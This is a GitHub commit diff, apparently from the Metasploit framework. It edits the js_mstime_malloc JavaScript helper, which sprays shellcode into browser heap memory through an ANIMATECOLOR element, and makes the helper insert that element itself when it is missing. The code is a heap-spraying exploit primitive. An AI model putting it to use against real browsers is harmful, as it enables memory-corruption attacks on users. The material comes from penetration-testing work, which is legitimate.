File tree Expand file tree Collapse file tree 1 file changed +6
-2
lines changed
lib/msf/core/exploit/http Expand file tree Collapse file tree 1 file changed +6
-2
lines changed Original file line number Diff line number Diff line change @@ -885,7 +885,6 @@ def js_mstime_malloc
885
885
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
886
886
if (offset == undefined) { offset = 0; }
887
887
if (heapBlockSize == undefined) { throw "Size must be defined"; }
888
- if (objId == undefined) { throw "ANIMATECOLOR element must be defined"; }
889
888
890
889
buf = "";
891
890
for (i=0; i < heapBlockSize/4; i++) {
@@ -899,7 +898,12 @@ def js_mstime_malloc
899
898
}
900
899
901
900
e = document.getElementById(objId);
902
- if (e == null) { throw "Invalid ANIMATECOLOR element"; }
901
+ if (e == null) {
902
+ eleId = "#{ Rex ::Text . rand_text_alpha ( 5 ) } "
903
+ acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
904
+ document.body.innerHTML = document.body.innerHTML + acTag;
905
+ e = document.getElementById(eleId);
906
+ }
903
907
try { e.values = buf; }
904
908
catch (e) {}
905
909
}
You can’t perform that action at this time.
0 commit comments